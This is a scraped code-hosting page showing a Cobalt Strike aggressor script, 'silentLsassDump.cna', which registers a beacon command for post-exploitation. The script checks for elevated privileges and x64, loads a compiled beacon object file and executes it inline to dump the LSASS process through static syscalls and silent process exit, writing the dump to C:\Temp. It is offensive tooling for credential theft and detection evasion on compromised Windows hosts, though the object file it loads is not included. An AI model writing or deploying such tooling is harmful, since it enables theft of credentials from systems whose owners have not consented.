-
Notifications
You must be signed in to change notification settings - Fork 27
/
Copy pathsilentLsassDump.cna
43 lines (33 loc) · 934 Bytes
/
silentLsassDump.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
beacon_command_register(
"silentLsassDump",
"Use static syscalls and silent process exit to dump a process. Output to C:\\Temp\\",
"Usage: silentLsassDump <PID>");
alias silentLsassDump {
local('$handle $data $args $pid');
$bid = $1;
# figure out the arch of this session
$barch = barch($1);
if (!-isadmin $bid) {
berror($bid, "You need elevated privileges.");
return;
}
if (!-is64 $bid) {
berror($bid, "SilentLsassDump is x64 only.");
return;
}
# read in the right BOF file
$handle = openf(script_resource("silentLsassDump.".$barch.".o"));
$data = readb($handle, -1);
closef($handle);
if(size(@_) < 2)
{
berror($bid, "Incorrect usage!");
berror($bid, beacon_command_detail("silentLsassDump"));
return;
}
# pack our arguments
$args = bof_pack($bid, "i", $2);
btask($bid, "Silent Lsass Dump (@guervild)");
# execute it.
beacon_inline_execute($bid, $data, "go", $args);
}